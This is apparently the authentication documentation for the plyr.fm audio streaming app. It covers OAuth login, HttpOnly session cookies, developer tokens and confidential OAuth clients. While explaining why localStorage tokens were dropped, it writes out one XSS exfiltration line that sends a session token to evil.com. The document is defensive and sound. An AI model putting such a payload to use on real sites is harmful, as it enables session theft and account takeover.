audio streaming app
plyr.fm
1# authentication
2
3plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks.
4
5## overview
6
7**flow**:
81. user initiates OAuth login via `/auth/start?handle={handle}`
92. backend redirects to user's PDS for authorization
103. PDS redirects back to `/auth/callback` with authorization code
114. backend exchanges code for OAuth tokens, creates session
125. backend ensures Artist record exists (creates minimal record if needed)
136. backend creates one-time exchange token, redirects to frontend
147. frontend calls `/auth/exchange` with exchange token
158. backend sets HttpOnly cookie and returns session_id
169. all subsequent requests automatically include cookie
17
18```mermaid
19sequenceDiagram
20 autonumber
21 participant U as User Browser
22 participant FE as Frontend (Svelte)
23 participant API as Backend API
24 participant PDS as User PDS
25 participant DB as Session DB
26
27 U->>FE: Visit /portal (unauthenticated)
28 FE->>API: GET /auth/start?handle=handle
29 API-->>U: 307 redirect to PDS authorize
30 U->>PDS: Approve OAuth request
31 PDS-->>API: /auth/callback (code, state, iss)
32 API->>PDS: POST /oauth/token
33 API->>DB: INSERT session (encrypted tokens)
34 API-->>U: 303 redirect /portal?exchange_token=…
35 FE->>API: POST /auth/exchange {exchange_token}
36 API->>DB: UPDATE exchange token (mark used)
37 API-->>FE: Set-Cookie session_id=… (HttpOnly)
38 FE->>API: Subsequent fetches w/ credentials: include
39 API->>DB: SELECT session via cookie
40 API-->>FE: JSON response (tracks, likes, uploads…)
41```
42
43### artist record creation
44
45every OAuth callback (login, add-account, scope upgrade, dev token) ensures an Artist record exists via `ensure_artist_exists(did, handle)`. this creates a minimal record (DID, handle, display name, avatar) if one doesn't exist.
46
47**why this matters**: Artist records are needed to display handles (instead of DIDs) in:
48- share link stats (who clicked/played your shared links)
49- track likers tooltip
50- commenters tooltip
51- any other user-facing display
52
53without this, users who authenticate but skip profile setup would show as raw DIDs like `did:plc:abc123` instead of their handle `@alice.bsky.social`.
54
55**implementation**: `backend/_internal/auth.py:ensure_artist_exists()` runs immediately after `handle_oauth_callback()`, before any flow-specific logic. profile setup (`POST /artists/me`) updates the existing record rather than creating a new one.
56
57**key security properties**:
58- session tokens stored in HttpOnly cookies (not accessible to JavaScript)
59- cookies use `Secure` flag (HTTPS only in production)
60- cookies use `SameSite=Lax` (CSRF protection)
61- no explicit domain set (prevents cross-environment leakage)
62- frontend never touches session_id in localStorage or JavaScript
63
64## backend implementation
65
66### setting cookies
67
68cookies are set in `/auth/exchange` after validating the one-time exchange token:
69
70```python
71# src/backend/api/auth.py
72if is_browser and settings.frontend.url:
73 is_localhost = settings.frontend.url.startswith("http://localhost")
74
75 response.set_cookie(
76 key="session_id",
77 value=session_id,
78 httponly=True,
79 secure=not is_localhost, # secure cookies require HTTPS
80 samesite="lax",
81 max_age=14 * 24 * 60 * 60, # 14 days
82 )
83```
84
85**environment behavior**:
86- **localhost**: `secure=False` (HTTP development)
87- **staging/production**: `secure=True` (HTTPS required)
88- **no domain parameter**: cookies scoped to exact host (prevents staging→production leakage)
89
90### reading cookies
91
92auth dependencies check cookies first, fall back to Authorization header:
93
94```python
95# src/backend/_internal/auth.py
96async def require_auth(
97 authorization: Annotated[str | None, Header()] = None,
98 session_id: Annotated[str | None, Cookie(alias="session_id")] = None,
99) -> Session:
100 """require authentication with cookie (browser) or header (SDK/CLI) support."""
101 session_id_value = None
102
103 if session_id: # check cookie first
104 session_id_value = session_id
105 elif authorization and authorization.startswith("Bearer "):
106 session_id_value = authorization.removeprefix("Bearer ")
107
108 if not session_id_value:
109 raise HTTPException(status_code=401, detail="not authenticated")
110
111 session = await get_session(session_id_value)
112 if not session:
113 raise HTTPException(status_code=401, detail="invalid or expired session")
114
115 return session
116```
117
118**parameter aliasing**: `Cookie(alias="session_id")` tells FastAPI to look for a cookie named `session_id` (not the parameter name).
119
120### optional auth endpoints
121
122endpoints that show different data for authenticated vs anonymous users:
123
124```python
125# src/backend/api/tracks.py
126@router.get("/")
127async def list_tracks(
128 db: Annotated[AsyncSession, Depends(get_db)],
129 request: Request,
130 session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None,
131) -> dict:
132 # check cookie or header
133 session_id = (
134 session_id_cookie
135 or request.headers.get("authorization", "").replace("Bearer ", "")
136 )
137
138 # optional auth logic
139 if session_id and (auth_session := await get_session(session_id)):
140 # fetch liked tracks for authenticated user
141 liked_track_ids = set(...)
142```
143
144**examples**:
145- `/tracks/` - shows liked state if authenticated
146- `/tracks/{track_id}` - shows liked state if authenticated
147- `/albums/{handle}/{slug}` - shows liked state for album tracks if authenticated
148
149## frontend implementation
150
151### sending cookies
152
153all requests include `credentials: 'include'` to send cookies:
154
155```typescript
156// frontend/src/lib/auth.svelte.ts
157const response = await fetch(`${API_URL}/auth/me`, {
158 credentials: 'include' // send cookies
159});
160```
161
162```typescript
163// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest)
164const xhr = new XMLHttpRequest();
165xhr.open('POST', `${API_URL}/tracks/`);
166xhr.withCredentials = true; // send cookies
167```
168
169### no localStorage
170
171the frontend **never** reads or writes `session_id` to localStorage:
172
173```typescript
174// ❌ OLD (vulnerable to XSS)
175localStorage.setItem('session_id', sessionId);
176const sessionId = localStorage.getItem('session_id');
177headers['Authorization'] = `Bearer ${sessionId}`;
178
179// ✅ NEW (secure)
180// cookies automatically sent with credentials: 'include'
181// no manual session management needed
182```
183
184### auth state management
185
186auth state is checked via `/auth/me`:
187
188```typescript
189// frontend/src/lib/auth.svelte.ts
190async initialize() {
191 try {
192 const response = await fetch(`${API_URL}/auth/me`, {
193 credentials: 'include'
194 });
195
196 if (response.ok) {
197 const data = await response.json();
198 this.user = { did: data.did, handle: data.handle };
199 this.isAuthenticated = true;
200 }
201 } catch (error) {
202 this.isAuthenticated = false;
203 }
204}
205```
206
207## environment architecture
208
209all environments use custom domains on the same eTLD+1 (`.plyr.fm`) to enable cookie sharing between frontend and backend within each environment:
210
211### staging
212- **frontend**: `stg.plyr.fm` (cloudflare pages project: `plyr-fm-stg`)
213- **backend**: `api-stg.plyr.fm` (fly.io app: `relay-api-staging`)
214- **cookie domain**: implicit (scoped to `api-stg.plyr.fm`)
215- **CORS**: backend allows `https://stg.plyr.fm`
216
217### production
218- **frontend**: `plyr.fm` (cloudflare pages project: `plyr-fm`)
219- **backend**: `api.plyr.fm` (fly.io app: `relay-api`)
220- **cookie domain**: implicit (scoped to `api.plyr.fm`)
221- **CORS**: backend allows `https://plyr.fm` and `https://www.plyr.fm`
222
223### local development
224- **frontend**: `localhost:5173` (bun dev server)
225- **backend**: `localhost:8001` (uvicorn)
226- **cookie domain**: implicit (scoped to `localhost`)
227- **CORS**: backend allows `http://localhost:5173`
228
229**why no explicit domain?**
230
231omitting the `domain` parameter prevents cookies from being shared across environments:
232- staging cookie (`api-stg.plyr.fm`) **not** sent to production (`api.plyr.fm`)
233- production cookie (`api.plyr.fm`) **not** sent to staging (`api-stg.plyr.fm`)
234
235if we set `domain=".plyr.fm"`, cookies would be shared across **all** subdomains, causing session leakage between environments.
236
237## why SameSite=Lax?
238
239`SameSite=Lax` provides CSRF protection while allowing same-site requests:
240
241- **allows**: navigation from `stg.plyr.fm` → `api-stg.plyr.fm` (same eTLD+1)
242- **allows**: fetch with `credentials: 'include'` from same origin
243- **blocks**: cross-site POST requests (CSRF protection)
244- **blocks**: cookies from being sent to completely different domains
245
246**alternative: SameSite=None**
247- required for cross-site cookies (e.g., embedding widgets from external domains)
248- not needed for plyr.fm since frontend and backend are same-site
249- less secure (allows cross-site requests)
250
251## why HttpOnly?
252
253`HttpOnly` cookies cannot be accessed by JavaScript:
254
255```javascript
256// ❌ cannot read HttpOnly cookies
257console.log(document.cookie); // session_id not visible
258
259// ✅ cookies still sent automatically
260fetch('/auth/me', { credentials: 'include' });
261```
262
263**protects against**:
264- XSS attacks stealing session tokens
265- malicious scripts exfiltrating credentials
266- account takeover via stolen sessions
267
268**does NOT protect against**:
269- CSRF (use SameSite for that)
270- man-in-the-middle attacks (use Secure flag + HTTPS)
271- session fixation (use secure random session IDs)
272
273## migration from localStorage
274
275issue #237 tracked the migration from localStorage to cookies.
276
277**old flow** (vulnerable):
2781. `/auth/exchange` returns `{ session_id: "..." }`
2792. frontend stores in localStorage: `localStorage.setItem('session_id', sessionId)`
2803. every request: `headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}`
2814. ❌ any XSS payload can steal: `fetch('https://evil.com?token=' + localStorage.getItem('session_id'))`
282
283**new flow** (secure):
2841. `/auth/exchange` sets HttpOnly cookie AND returns `{ session_id: "..." }`
2852. frontend does nothing with session_id (only for SDK/CLI clients)
2863. every request: `credentials: 'include'` sends cookie automatically
2874. ✅ JavaScript cannot access session_id
288
289**backwards compatibility**:
290- backend still returns `session_id` in response body for non-browser clients
291- backend accepts both cookies and Authorization headers
292- SDK/CLI clients unaffected (continue using headers)
293
294## security checklist
295
296authentication implementation checklist:
297
298- [x] cookies use `HttpOnly` flag
299- [x] cookies use `Secure` flag in production
300- [x] cookies use `SameSite=Lax` or `SameSite=Strict`
301- [x] no explicit `domain` set (prevents cross-environment leakage)
302- [x] frontend sends `credentials: 'include'` on all requests
303- [x] frontend never reads/writes session_id to localStorage
304- [x] backend checks cookies before Authorization header
305- [x] CORS configured per environment (only allow same-origin)
306- [x] session tokens are cryptographically random
307- [x] sessions expire after reasonable time (14 days)
308- [x] logout properly deletes cookies
309
310## testing
311
312### manual testing
313
314**test cookie is set**:
3151. log in at https://stg.plyr.fm
3162. open DevTools → Application → Cookies → `https://api-stg.plyr.fm`
3173. verify `session_id` cookie exists with:
318 - HttpOnly: ✓
319 - Secure: ✓
320 - SameSite: Lax
321 - Path: /
322 - Domain: api-stg.plyr.fm (no leading dot)
323
324**test cookie is sent**:
3251. stay logged in
3262. open DevTools → Network tab
3273. navigate to `/portal` or any authenticated page
3284. inspect request to `/auth/me`
3295. verify `Cookie: session_id=...` header is present
330
331**test cross-environment isolation**:
3321. log in to staging at https://stg.plyr.fm
3332. open https://plyr.fm (production)
3343. verify you are NOT logged in (staging cookie not sent to production)
335
336## troubleshooting
337
338### cookies not being set
339
340**symptom**: `/auth/exchange` returns 200 but no cookie in DevTools
341
342**check**:
3431. is `FRONTEND_URL` environment variable set?
344 ```bash
345 flyctl ssh console -a relay-api-staging
346 echo $FRONTEND_URL
347 ```
3482. is request from a browser (user-agent header)?
3493. is response using HTTPS in production (Secure flag requires it)?
350
351### cookies not being sent
352
353**symptom**: `/auth/me` returns 401 even after login
354
355**check**:
3561. frontend using `credentials: 'include'`?
3572. CORS allowing credentials?
358 ```python
359 # backend MUST allow credentials
360 allow_credentials=True
361 ```
3623. origin matches CORS regex?
3634. SameSite policy blocking request?
364
365### localhost cookies not working
366
367**symptom**: cookies work in staging/production but not localhost
368
369**check**:
3701. is `FRONTEND_URL=http://localhost:5173` set locally?
3712. frontend and backend both on `localhost` (not `127.0.0.1`)?
3723. backend using `secure=False` for localhost?
373
374## developer tokens (programmatic access)
375
376for scripts, CLIs, and automated workflows, create a long-lived developer token:
377
378### creating a token
379
380**via UI (recommended)**:
3811. go to portal → "your data" → "developer tokens" section
3822. optionally enter a name (e.g., "upload-script", "ci-pipeline")
3833. select expiration (30/90/180/365 days or never)
3844. click "create token"
3855. **authorize at your PDS** (you'll be redirected to approve the OAuth grant)
3866. copy the token immediately after redirect (shown only once)
387
388**via API**:
389```javascript
390// step 1: start OAuth flow (returns auth_url to redirect to)
391const response = await fetch('/auth/developer-token/start', {
392 method: 'POST',
393 headers: {'Content-Type': 'application/json'},
394 credentials: 'include',
395 body: JSON.stringify({ name: 'my-script', expires_in_days: 90 })
396});
397const { auth_url } = await response.json();
398// step 2: redirect user to auth_url to authorize at their PDS
399// step 3: on callback, token is returned via exchange flow
400```
401
402### managing tokens
403
404**list active tokens**:
405the portal shows all your active developer tokens with:
406- token name (or auto-generated identifier)
407- creation date
408- expiration date
409
410**revoke a token**:
4111. go to portal → "your data" → "developer tokens"
4122. find the token in the list
4133. click "revoke" to immediately invalidate it
414
415**via API**:
416```bash
417# list tokens
418curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens
419
420# revoke by prefix (first 8 chars shown in list)
421curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345
422```
423
424### using tokens
425
426set the token in your environment:
427```bash
428export PLYR_TOKEN="your_token_here"
429```
430
431use with any authenticated endpoint:
432```bash
433# check auth
434curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me
435```
436
437**CLI usage** (`scripts/plyr.py`):
438```bash
439# list your tracks
440PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list
441
442# upload a track
443PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track"
444
445# download a track
446PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3
447
448# delete a track
449PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y
450```
451
452### configuration
453
454backend settings in `AuthSettings`:
455- `developer_token_default_days`: default expiration (90 days)
456- `developer_token_max_days`: max allowed expiration (365 days)
457- use `expires_in_days: 0` to request the maximum allowed by refresh lifetime
458
459### how it works
460
461developer tokens are sessions with their own independent OAuth grant — **not app passwords**. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means:
462- dev tokens can refresh independently (no staleness when browser session refreshes)
463- each token has its own DPoP keypair for request signing
464- browser logout/revocation doesn't affect dev tokens (cookie isolation)
465
466### scoping
467
468developer tokens are **scoped to plyr.fm's lexicon namespace** via ATProto OAuth. the grant requests only the collections plyr.fm needs (e.g. `atproto blob:*/* include:fm.plyr.authFullApp` via [permission sets](https://atproto.com/specs/oauth#permission-sets), or granular `repo:fm.plyr.track repo:fm.plyr.like ...` scopes as fallback).
469
470- **can** read/write plyr.fm data (tracks, likes, comments, playlists, profile) and upload blobs
471- **cannot** read or write your Bluesky posts, follows, blocks, or any other app's data
472- **cannot** modify your ATProto identity or account settings
473
474the PDS enforces these scopes at the protocol level — not just plyr.fm's API. rather than app passwords (full repo access, coupled to Bluesky), plyr.fm issues OAuth grants scoped to the minimum permissions needed.
475
476**security notes**: tokens grant full access to plyr.fm features, but are namespace-scoped at the protocol level. each token is independent — revoke individually via the portal or API.
477
478## OAuth client types: public vs confidential
479
480ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server.
481
482### what is a confidential client?
483
484a **confidential client** is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server.
485
486**public client** (default):
487- cannot authenticate itself (uses `token_endpoint_auth_method: "none"`)
488- anyone could impersonate your client_id
489- authorization server issues **2-week refresh tokens**
490
491**confidential client** (with `OAUTH_JWK`):
492- authenticates using `private_key_jwt` - signs a JWT with its private key
493- authorization server verifies signature against your `/.well-known/jwks.json`
494- proves the request actually came from your server
495- authorization server issues **180-day refresh tokens**
496
497### why this matters for plyr.fm
498
499with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks.
500
501with confidential clients:
502- **developer tokens work long-term** - not limited to 2 weeks
503- **users don't get randomly kicked out** after 2 weeks of inactivity
504- **sessions last up to refresh lifetime** as long as tokens are refreshed within 180 days
505
506### how it works
507
5081. **key generation**: generate an ES256 (P-256) keypair
509 ```bash
510 uv run python scripts/gen_oauth_jwk.py
511 ```
512
5132. **configuration**: set `OAUTH_JWK` env var with the private key JSON
514
5153. **JWKS endpoint**: backend serves public key at `/.well-known/jwks.json`
516 - authorization server fetches this to verify our signatures
517
5184. **client metadata**: `/oauth-client-metadata.json` advertises:
519 ```json
520 {
521 "token_endpoint_auth_method": "private_key_jwt",
522 "token_endpoint_auth_signing_alg": "ES256",
523 "jwks_uri": "https://plyr.fm/.well-known/jwks.json"
524 }
525 ```
526
5275. **token requests**: on every token request (initial AND refresh), the library:
528 - creates a short-lived JWT (`client_assertion`) signed with our private key
529 - includes `client_assertion_type` and `client_assertion` in the request
530 - PDS verifies signature → issues long-lived tokens
531
532### implementation details
533
534the confidential client support lives in our `atproto` fork (`zzstoatzz/atproto`):
535
536```python
537# packages/atproto_oauth/client.py
538client = OAuthClient(
539 client_id='https://plyr.fm/oauth-client-metadata.json',
540 redirect_uri='https://plyr.fm/auth/callback',
541 scope='atproto ...',
542 state_store=state_store,
543 session_store=session_store,
544 client_secret_key=ec_private_key, # enables confidential client
545)
546```
547
548when `client_secret_key` is set, `_make_token_request()` automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke).
549
550### key rotation
551
552for key rotation:
5531. generate new key with different `kid` (key ID)
5542. add both keys to JWKS (old and new)
5553. deploy - new tokens use new key, old tokens still verify
5564. after 180 days, remove old key from JWKS
557
558### token refresh mechanism
559
560plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works:
561
5621. **trigger**: user makes a PDS request (upload, create record, etc.)
5632. **detection**: PDS returns `401 Unauthorized` with `"exp"` in error message (access token expired)
5643. **refresh**: `_refresh_session_tokens()` in `_internal/atproto/client.py`:
565 - acquires per-session lock (prevents race conditions)
566 - calls `OAuthClient.refresh_session()` with the refresh token
567 - for confidential clients: signs a client assertion JWT
568 - PDS verifies assertion → issues new tokens
569 - saves new tokens to database
5704. **retry**: original request retries with fresh tokens
571
572**what gets refreshed**:
573- **access token**: short-lived (~minutes), refreshed frequently
574- **refresh token**: long-lived (2 weeks public, 180 days confidential), rotated on each use
575
576**observability**: look for these log messages in logfire:
577- `"access token expired for did:plc:..., attempting refresh"`
578- `"refreshing access token for did:plc:..."`
579- `"successfully refreshed access token for did:plc:..."`
580
581### migration: deploying confidential client
582
583when deploying confidential client support, **existing sessions continue to work** but have limitations:
584
585| aspect | existing sessions | new sessions (post-deploy) |
586|--------|-------------------|---------------------------|
587| plyr.fm session | unchanged | unchanged |
588| ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) |
589| behavior at 2 weeks | refresh fails → re-auth needed | continues working |
590
591**what happens to existing tokens**:
5921. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens
5932. those refresh tokens cannot be upgraded - they have a fixed expiration
5943. when the refresh token expires, the next PDS request will fail
5954. users will need to re-authenticate to get new sessions with 180-day refresh tokens
596
597**timeline example**:
598- dec 8: user creates dev token (public client, 2-week refresh)
599- dec 22: ATProto refresh token expires
600- user tries to upload → refresh fails → 401 error
601- user creates new dev token → now gets 180-day refresh
602
603**production impact** (as of deployment):
604- most browser sessions expire within 14 days anyway (cookie `max_age`)
605- developer tokens are affected most - they have 90+ day session expiry but 2-week refresh
606- only 3 long-lived dev tokens in production (internal accounts)
607- new sessions will automatically get 180-day refresh tokens
608
609### sources
610
611- [ATProto OAuth spec - tokens and session lifetime](https://atproto.com/specs/oauth#tokens-and-session-lifetime)
612- [RFC 7523 - JWT Bearer Client Authentication](https://datatracker.ietf.org/doc/html/rfc7523)
613- [bailey's ATProto SvelteKit template](https://tangled.org/baileytownsend.dev/atproto-sveltekit-template) - TypeScript reference implementation
614- PR #578: confidential OAuth client support
615
616## references
617
618- [MDN: HttpOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)
619- [MDN: SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value)
620- [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
621- [ATProto OAuth spec](https://atproto.com/specs/oauth)
622- issue #237: secure browser auth storage
623- PR #239: frontend localStorage removal
624- PR #243: backend cookie implementation
625- PR #244: merged cookie-based auth
626- PR #367: developer tokens with independent OAuth grants